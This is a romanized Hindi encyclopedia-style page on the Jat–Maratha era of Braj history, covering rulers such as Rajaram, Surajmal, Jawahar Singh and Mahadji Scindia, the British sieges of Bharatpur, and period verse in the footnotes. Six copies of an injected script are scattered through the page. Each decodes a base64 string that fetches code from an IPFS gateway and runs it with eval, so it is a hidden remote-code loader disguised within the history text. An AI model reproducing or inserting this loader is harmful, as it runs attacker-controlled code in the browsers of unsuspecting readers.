ब्रज का जाट मराठा काल
braj ka jat maratha kal
| |
| vivaran | bhagavat mean ‘braj’ kshetr vishesh ko iangit karate hue hi prayukt hua hai. vahaan ise ek chhote gram ki sanjna di gee hai. usamean ‘pur’ se chhota ‘gram’ aur usase bhi chhoti basti ko ‘braj’ kaha gaya hai. 16vian shatabdi mean ‘braj’ pradesh ke arth mean hokar ‘brajamandal’ ho gaya aur tab usaka akar 84 kos ka mana jane laga tha. |
| braj kshetr | aj jise ham braj kshetr manate haian usaki dishaaian, uttar disha mean palaval (hariyana), dakshin mean gvaliyar (madhy pradesh), pashchim mean bharatapur (rajasthan) aur poorv mean eta (uttar pradesh) ko chhooti haian. |
| braj ke keandr | mathura evan vrindavan |
| braj ke van | kotavan, kamyavan, kumudavan, kokilavan, khadiravan, talavan, bahulavan, biharavan, belavan, bhadravan, bhaandiravan, madhuvan, mahavan, lauhajanghavan evan vrindavan |
| bhasha | hiandi aur brajabhasha |
| pramukh parv evan tyohar | holi, krishna janmashtami, yam dvitiya, guru poornima, radhashtami, govardhan pooja, gopashtami, nandotsav evan kans mela |
| pramukh darshaniy sthal | krishna janmabhoomi, dvarikadhish mandir, rajakiy sangrahalay, baanke bihari mandir, rang nath ji mandir, govind dev mandir, isk aaun mandir, madan mohan mandir, danaghati mandir, manasi ganga, kusum sarovar, jayagurudev mandir, radha rani mandir, nand ji mandir, vishram ghat , daooji mandir |
| sanbandhit lekh | braj ka pauranik itihas, braj chaurasi kos ki yatra, moorti kala mathura |
| any janakari | braj ke van–upavan, kunj–nikunj, shri yamuna v giriraj atyant mohak haian. pakshiyoan ka madhur svar ekaanki sthali ko madak evan manohar banata hai. moroan ki bahutayat tatha unaki pioo–pioo ki avaz se vatavaran gunjayaman rahata hai. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- jat−maratha shaktiyaan
mugal saltanat ke akhari samay mean jo shaktiyaan ubhari; jinhoanne braj mandal ke itihas mean mahattvapoorn bhoomika nibhaee, un jat aur maratha saradaroan ke nam itihas mean bahut mashahoor haian. jatoan ka itihas purana hai. jat mukhyatah kheti karane vali jati hai; lekin aurangazeb ke atyacharoan aur nirankush pravritti ne unhean ek b di sainy shakti ka roop de diya. udhar marathoan ne chhatrapati shivaji ke netritv mean auraganzab ko bhishan chunauti di aur saphalata bhi prapt ki jisase maratha bhi uttar bharat mean mashahoor hue. kuchh samay ke bad peshavaoan aur unake sainik saradaroan itane shaktishali ho gaye ki unhean poore bharat mean jana jane laga. mugaliya saltanat ke ant se aangrezoan ke shasan tak braj mandal mean jatoan aur marathaoan ka prabhutv raha. inhoanne braj ke rajanitik aur samajik jivan ko bahut prabhavit kiya. yah samay braj ke itihas mean jat−maratha kal ke nam se jana jata hai. is kal ka vishesh mahattv hai.
rajaniti mean jatoan ka prabhav
braj ki samakalin rajaniti mean jat shaktishali ban kar ubhare. jat netaoan ne is samay mean braj mean anek jagahoan par, jaise sinasini, dig, bharatapur, murasan aur hatharas jaise kee rajyoan ko sthapit kiya. in rajaoan mean dig−bharatapur ke raja mahattvapoorn haian. in rajaoan ne braj ka gaurav badhaya, inhean 'brajendr' athava 'brajaraj' bhi kaha gaya. braj ke itihas mean krishna ke pashchath jin kuchh hindoo rajaoan ne shasan kiya, unamean dig aur bharatapur ke raja vishesh the. in rajaoan ne lagabhag sau saloan tak brajamandal ke ek b de bhag par rajy kiya. in jat shasakoan mean maharaja soorajamal (shasanakal sanh 1755 se sanh 1763 tak ) aur unake putr javahar sianh (shasan kal sanh 1763 se sanh 1768 tak ) braj ke itihas mean bahut prasiddh haian.
- jatoan ke kriyakalap
jat rajaoan ne braj mean hindoo shasan ko sthapit kiya. inaki rajadhani pahale dig thi, phir bharatapur banayi gayi. maharaja soorajamal aur unake bete javahar sianh ke samay mean jat rajy bahut phaila, lekin dhire dhire vah ghatata gaya. bharatapur, mathura aur usake asapas aangrezoan ke shasan se pahale jat bahut prabhavashali the aur apane rajy ke sampann svami the. ve kar aur lagan vasoolate the aur apane sikke chalate the. unaki takasal dig, bharatapur, mathura aur vrindavan ke atirikt agara aur itava mean bhi thian. jat rajaoan ke sikke aangrezoan ke shasan kal mean bhi bharatapur rajy ke alava mathura mandal mean prachalit the.
- jat rajy ki nianv
mugaloan ke akhari samay mean jat sarakari khazana aur shastroan ka bhandar loot lete the. jatoan ke netaoan mean nandaram, gokul sianh aur rajaram vishesh roop se ullekhaniy haian. rajaram ke kary vishesh roop se ullekhaniy haian.
- rajaram ka vidroh
sanh 1685 mean jatoan ki bagavat ka nayak 'sinasini' ka rajaram tha. sinasini braj mean ek chhoti si gramin basti thi, jo dig se dakshin mean aur bharatapur se 13 mil uttar pashchim mean aj bhi hai. vahaan jatoan ki 'gadhi' nam se ek sainik chhavani thi. yah gadhi bharatapur ke jat rajaoan ke poorvajoan ki thi. is rajagharane ko 'sinasini var' ke nam se jana jata hai. rajaram ki gatividhiyaan sinasini se dhaulapur aur mathura se amer rajy thi. in jagahoan par mugal prabhavashali nahian the. yahaan jatoan ke dal lootamar karate the. aurangazeb is samay dakshin ke yuddh mean vyast tha. vah jatoan ki gatividhiyoan se bahut pareshan tha. vah is vidroh ko khatm karane ki ajna deta tha; kiantu usake senanayak naqam rahe.
- choo daman ka sangathan
choo daman sianh, jo netritv mean bahut hi kushal tha, rajaram ke bad jatoan ka neta bana. usane jatoan ko sangathit kiya aur jat rajy ki nianv dali. isaka fayada badanasianh namak jat saradar ko hua, jisane poori tarah se jat rajy ko sthapit kiya.
raja soorajamal (sanh 1755−1763)
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
raja soorajamal suyogy shasak tha. usane braj mean ek svatantr hindoo rajy ko bana itihas mean gaurav prapt kiya. usake shasan ka samay sanh 1755 se sanh 1763 hai. vah sanh 1755 se kee sal pahale se apane pita badanasianh ke shasan ke samay se hi vah rajakary sambhalata tha. raja soorajamal ke darabari kavi 'soodan' ne raja ki tarif mean 'sujanacharitr' namak granth likha. is granth mean soodan ne raja soorajamal dvara l di l daiyoan ka aankhoan dekha varnan kiya hai. is granth mean sanh 1745 se sanh 1753 tak ke samay mean l di gayi l daeeyoan (7 yuddhoan) ka varnan hai. in l daiyoan mean soodan ne bhi bhag liya tha, isalie usaka varnan vishvasaniy kaha ja sakata hai. is granth mean amer ke raja jayasianh ke nidhan ke bad usake b de bete eeshvarisianh ka marathoan ke khilaf l da gaya sanh 1747 ka yuddh, agara aur ajamer ke soobedar salavat khaan se l da gaya sanh 1748 ka yuddh aur sanh 1753 ki dilli ki loot ka varnan ullekhaniy hai. is granth mean soorajamal ki sanh 1753 ke bad ki ghatanaoan ka varnan nahian hai. rajakavi soodan ka nidhan sambhavatah sanh 1753 ke lagabhag hi ho gaya hoga. sambhavatah isi se bad mean l di l daiyoan ka vivaran nahian milata hai. is pustak mean dilli ki loot ka vivaran mahattvapoorn hai.
- soorajamal ka moolyaankan
braj ke jat rajaoan mean soorajamal sabase prasiddh shasak, kushal senani, sahasi yoddha aur saphal rajanitijn tha. usane jatoan mean sab se pahale raja ki padavi dharan ki thi; aur ek shaktishali hindoo rajy ka sanchalan kiya tha. usaka rajy vistrit tha, jisamean dig−bharatapur ke atirikt mathura, agara, dhaulapur, hatharas, aligadh, eta, mainapuri, gu dagaanv, rohatak, reva di, pharrookhanagar aur merath ke zile the. ek or yamuna mean ganga tak aur doosari or chanbal tak ka sara pradesh usake rajy mean sammilit tha. soorajamal ki sena vishal thi. usamean 60 hathi, 500 gho de, 1500 ashvarohi, 25000 paidal aur 300 topean thian. apani mrityu ke samay usane lagabhag 10 karo d rupaya rajakosh mean chho da tha.[1]
soorajamal brajabhasha sahity ka premi aur kaviyoan ka ashrayadata tha. usake darabar mean anek kavi the, jinamean soodan kavi ka nam prasiddh tha. soorajamal ki kee raniyaan thi; jinamean kishori aur hansa pramukh thian. usake 5 putr the, jinake nam ninnaankit haian −javahar sianh, ratan sianh, naval sianh, ranajit sianh aur nahar sianh. soorajamal ke bad javahar sianh jatoan ka raja hua. jatoan ki aranbhik rajadhani dig thi ; kiantu soorajamal ne bharatapur ke kachche qile ko pakka bana kar vahaan apani rajadhani banaee thi.
javahar sianh (shasan san. 1820 se san. 1825)
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
vah jat raja soorajamal ka pratapi jyeshth putr tha. vah apane baba−dada ke sadshy vir aur sahasi tha ; lekin vah unake saman niti−nipun evan vinamr nahian tha. usake uddhat svabhav aur ugr vyavahar se pita soorajamal usase aprasann rahata tha. pramukh jat saradar bhi usase asantusht rahate the, kiantu usaki virata ke sabhi prashansak the. soorajamal ki mrityu ke pashchath jab javahar sianh jatoan ka raja ho gaya, tab sabhi jat saradar usake sath ho gaye.
- pushkar−yatra aur mrityu
javahar sianh rajapoot rajaoan par apana raub zamana chahata tha. usane jatoan ki sena ke sath pushkar−yatra ke lie prasthan kiya. jayapur ke raja madhavasianh ko soochana diye bagair rajy ki sima se hokar jatoan ki pataka phaharata vah pushkar pahuanch gaya. jayapur ki sena ka use rokane ka sahas nahian hua; jab vah vahaan se vapis lauta tab donoan senaoan mean yuddh chhi d gaya. javahar sianh apani sena ke sath rajapootoan se viratapoorvak l data hua jayapur ki sima par kar sakushal agara a gaya; kiantu use b di hani uthani p di. is yuddh mean rajapootoan ke sath jatoan ke bhi anek yoddha mare gaye. tabase jayapur naresh aur javaharasianh mean katuta aur vidvesh ki vriddhi hoti rahi, jisase donoan ki shakti kshin huee. san. 1825 mean agara mean kisi ajnat sainik ne javaharasianh ka dhokhe se vadh kar diya. kaha jata hai, vah ek gupt sh dyantr tha, jisamean jayapur naresh ka hath tha.
- javaharasianh ka moolyaankan
javaharasianh san. 1820 se san. 1825 tak ke varshoan tak hi bharatapur ki rajagaddi par raha ; usi samay mean vah apane adbhut sahas aur anupam shaury se apana nam amar kar gaya aur jat rajy ke gaurav ko bhi charam sima par pahuancha diya tha. jat rajavansh mean choo daman se lekar ab tak jo vir purush hue the, unamean javaharasianh kisi se kam nahian tha. yadi virata aur sahas ke sath usamean ganbhirata, nitijnata aur vyavahar−kushalata bhi hoti to vah braj ke itihas ko ek naya mo d de sakata tha. kiantu usane apani shakti ko vyarth ke yuddhoan mean nasht kar diya, is karan usake bad hi jat rajy ka mahattv kam hone laga. javaharasianh sahasi yoddha hone ke sath hi sath sahity aur kala ka premi tatha protsahanakartta bhi tha. usake ashrit kaviyoan mean bhoodhar, rangalal aur motiram ke nam ullekhaniy haian. brajabhasha ka vikhyat mahakavi dev apani vriddhavastha mean usake darabar mean upasthit hua tha.
jat rajy ka hras (san. 1825 − san. 1883)
javaharasianh tak jat rajy ki nirantar unnati hoti rahi thi. usake bad usaka hras aranbh hua. javaharasianh ki mrityu ke bad usaka chhota bhaee ratnasianh jatoan ka raja hua tha. vah tho de samay tak hi rajagaddi par rah saka. raja banane ke kuchh samay bad vah vrindavan gaya aur vahaan rasalila mean lin ho gaya. vahaan ke gosaee roopanand nam ke mayavi taantrik ne adbhut chamatkar dikhakar bhulave mean dal kar san. 1826 vi. mean mar dala. usaki mrityu bhi sanbhavat: usi shadyantr ka parinam thi, jisaka shikar usaka b da bhaee javaharasianh hua tha.
jat−mugal sangharsh
jatoan ke grih−kalah ka labh mugal samrat shahalam ki or se vazir mirja najafakhaan ne uthaya. usane jatoan ke kshetr mean apane prabhav ke lie unase yuddh chhe d diya. jisase san. 1831 tak jatoan ke rajy ka b da bhag chhinn−bhinn ho gaya. jatoan ki shasan−satta simit kshetr mean simat gee thi. usi samay san. 1832 mean jat saradar naval sianh ki mrityu ho gee thi .
- braj ki durdasha
jatoan ki parajay se braj ki sthiti sankatagrast ho gee. is samay mean is pradesh ke suprasiddh dharmik sthaloan ka koee rakhavala nahian raha aur roohele sainik jab chahean yahaan akar loot−mar macha dete the. braj mean nivas karate bhaktagan anichchha poorvak braj ko chho d kar idhar−udhar bhagate phirate the. vrindavan ke bhakt vrindavanadas usi samay vrindavan se krishnagadh gaye the. unhoanne apani ek rachana 'shri beli' mean san. 1831 ke sankat ka varnan karate hue likha hai[2] san. 1814 se 1832 tak braj pradesh par yavan sena ne bar−bar akraman kie jisase yah samay braj ke lie bhishan sankat ka raha. braj jan hatash ho gaye the. chacha vrindavanadas ne durvyavastha ka kathan karate hue likha hai[3]
ranajit sianh ke shasan kal ki parajayoan se braj mean ghor sankat tha. us samay brajavasi bhakt braj ko chho d kar idhar−udhar bhatak rahe the. vrindavanadas us samay mean krishnagadh mean hi the. san. 1835 mean unhoanne apani 'arati patrika' krishnagadh mean hi likhi thi. usamean apani manodasha ka varnan karate hue unhoanne likha[4] braj ki durdasha karane vale aur jatoan ke prabal shatru mugal najafakhaan ki mrityu san. 1839 mean ho gee thi.
- braj ki avyavastha mean aangarejoan ki sainik halachalean
madhavaji siandhiya ki mrityu ke bad hi maratha rajy ke shasak peshava aur ahilyabaee holkar ka dehavasan hua tha. un sabake abhav mean marathoan ki shakti dagamagane lagi aur unaki shasananiti mean anek ulat−pher hone lage. madhav ji ka uttaradhikari daulatarav siandhiya hua tatha ahilyabaee ka uttaradhikari tukojirav aur unaki mrityu hone par yashavantarav holakar hua. uttar bharat mean satta ko lekar sidhianya aur holakar mean nirantar sangharsh hone laga. maratha, jat aur musalamanoan mean bhi nity jhag de hone lage. is siddhaantahin sangharsh ke karan brajanmadal aur usake asapas avyavastha phail gee thi jisaka labh aangarejoan ne utha kar brajamandal mean apani sainik halachaloan se jhakajhor diya.
jat−aangrez yuddh
san. 1860 mean aangarezi sena ne daulatarav siandhiya ke viruddh saphal abhiyan karake mathura par adhikar kar liya. udhar janaral lek ki kaman yashavantarav holakar ka pichha kar rahi thi. holakar ne bhag kar bharatapur mean sharan li. us samay bharatapur mean jat raja ranajit sianh ka shasan tha. janaral lek ne bharatapur naresh se maang ki ki vah holakar ko aangarejoan ke supurd kar de. ranajit sianh ne is maang ko svikar nahian kiya. aangarezoan ne bharatapur par akraman kar diya. jatoan ne bahut virata se aangarezi sena ka muqabala kiya ki use pichhe hatana p da. janaral lek jaise vir senapati ki adhyakshata mean aangarezoan ne char bar bharatapur par akraman kiya kiantu har bar unhean muanh ki khani p di. isase bharatapur qile ki ajeyata, jatoan ki virata aur ranajit sianh ki prabandh−kushalata ki sarvatr khyati ho gee . ranajit sianh ki parajayoan ke karan jatoan ki jo apratishtha huee thi, vah aangarezoan se saphalatapoorvak yuddh karane ke karan door ho gee. jat rajy ke itihas mean soorajamal aur javaharasianh dvara dilli mean ki gee loot ki bhaanti ranajit sianh dvara aangarezoan se saphal sangharsh karane ki ghatana bhi b di prasiddh hai. braj ke anek kaviyoan aur lok gayakoan ne bharatapur par aangarezoan ki chadhaee, jatoan ki virata aur aangarezoan ki parajay ka atyant ojapoorn varnan kiya hai. -[5][6] [7] [8] [9]
paravarti jat raja
baladev sianh ke bad usaka putr balavant sianh (san. 1882−1910) bharatapur ka raja hua. balavant sianh ke pashchath usaka putr yashavant sianh (san. 1910 − san. 1950) jatoan ka raja hua. usake shasanakal mean aangrezo ke viruddh sainik vidroh hua tha, jisamean desh ki janata ne bhi aanshik roop se bhag liya. jisase aangrezi kanpani ka adhikar samapt ho gaya; aur iangaleand ki maharani viktoriya ne is desh ki shasan−satta apane hath mean le li.
madhav ji siandhiya
usaka janm marathoan ki ek nichi jati aur nimn parivar mean hua tha. usaka pita ranoji aranbh mean peshava ka ek sadharan sevak tha aur usake jootoan ki dekh−bhal karata tha. usaki svamibhakti aur buddhimatta se prasann hokar peshava ne use sena mean bharti kar liya, jahaan vah unnati karata hua sena nayak ke pad par pahuanch gaya. usake putr madhav ji ne apani virata, buddhimata aur niti−nipunata se unnati ki aur vah maratha sena ke yogyatam senanayakoan mean gina jane laga. panipat ke yuddh mean any maratha saradaroan ki bhaanti vah bhi sammilit tha aur shatruoan se l data hua ghayal ho gaya tha. usake bad uttar bharat mean ashcharyajanak roop se maratha shakti ke vistar ka shrey jinhean hai unamean madhav ji ka nam sabase pahale liya jata hai. dilli darabar ke vajir mirja najafakhaan ki san. 1839 mean mrityu hone ke bad mugal samrajy mean avyavastha phail gee, jise door karane ke lie tatkalin mugal samrat shahalam ne madhav ji siandhiya ko apana mukhyamantri (mir bakhshi) banaya. peshava ki or se uttar bharat mean jo maratha sena thi, usake senapatiyoan mean madhav ji hi sabase adhik yogy tha. usane mugal samrajy ki avyavastha door kar mugal darabar ke upadravi roohele saradaroan ko daba diya aur jayapur rajy se baqaya kar vasool kiya. phir dig, agara, aligadh, mathura adi pramukh sthanoan par adhikar kar apani yogyata, shakti aur satta ki dhak jama di. vah mugal samrajy ka mukhyamantri hone ke sath hi sath pradhan senapati aur samrat ka sanrakshak (vakile mutlaq) bhi tha. isalie vah samrath shahalam ke nam par shasan karane laga. usake karan marathoan ka prabhav uttar bharat mean bahut badh gaya aur marathoan ki bhagava pataka dilli ke lal qile par phaharane lagi.
- madhav ji ki den
madhav ji siandhiya ek yugaantarakari purush the. unaki virata, nitijnata aur dooradarshita anupam thi. unhoanne apane purusharth se marathoan ki pataka dilli ke qile par phaharaee aur uttar bharat mean marathoan ki shakti, satta aur prabhuta ko charam sima par pahuancha diya tha. unaki braj ko den bhi b di mahattvapoorn thi. jat rajy ka hras hone se braj mean jo bhishan sankat paida hua tha, vah madhav ji ke karan door ho gaya tha.
himmatabahadur
himmatabahadur, madhav ji siandhiya ka samakalin ek naga guansaeean tha. apane samay mean usaki virata ki dhak thi. mugal darabar ka sath dekar usane madhav ji siandhiya ko nicha dikhana chaha tha, kiantu usamean vah saphal nahian hua. vah madhav ji ko sada pareshan karata tha. madhav ji ne usaki jagir ka b da bhag chhin liya tha aur usake adhikar mean keval maant aur vrindavan ki jagirean rahane di thian. vrindavan mean rajaoan ki bhaanti b di shan se rahata tha aur madhav ji se shatruta rakhane ke karan sadaiv unake viruddh chalean chala karata tha. usane sainik daanv−pech aur kootaniti ke atirikt mantr−tantr ka prayog bhi kiya tha. vah kushal senani evan kootanitijn hone ke sath hi sath kavi, kavy−premi aur kaviyoan ka ashrayadata tha. brajabhasha ke suprasiddh kavi 'padmakar' ne usi ke ashray mean apane ek matr vir kavy 'himmatabahadur viroodavali' ki rachana ki thi. himmat bahadur ka dehant san. 1861 mean hua tha.
| left|30px|link=braj ka mugal kal|pichhe jaean | braj ka jat maratha kal | right|30px|link=braj ka svatantrata sangram 1857|age jaean |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ brajabharati varsh 13 aank 2
- ↑ jaman kachhoo sanka dee, braj jan bhaye udas. ta samayai chali tahaan te, kiyoan krishnagan payan
- ↑ jaman ki jam jatana, bhugataee ih deh.
ab apane apanai leu, bas kaanpat kapila gay jyoan, kahat marat hauan laj.
kali kehari te ab karau, rachchha surachchha aj. - ↑ ek dham bichhur ju du:kh doobar hai ju sharir. tijai nir aparadh du:kh det niraj. 'arati patrika'
- ↑ chadhe phirangi bhayau bharat bharatapur mean, topan tarapi kai, halan pai halan ki.
kali kari tripat ,phirangi so kurangi bhe,ek hoo kala n chali ,patharakalan ki ॥ (premakavi - ↑ machyau ghamasan, kos tin lagi loth parian, mar gaye soor saanche mauhara agah tean.
kahai 'jasaram' aangarez jang har gaye, jite jaduvanshi soor, l dat uchhah tean ॥ (jasaram - ↑ tere tez tatta tean, chakatta mean rahi n satta, latta se u daye, sab gore kalakatta ke..(bhagamall
- ↑ tephiraka phirangin ke pharikai phatooh kare, jit ke nagare ranajit ke bajat haian.(gangadhar
- ↑ bhejau phori patak−pachhar khat khanbhan soan, ledi aangarezan ki roanve kalakatta mean.(prasiddh kavi
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>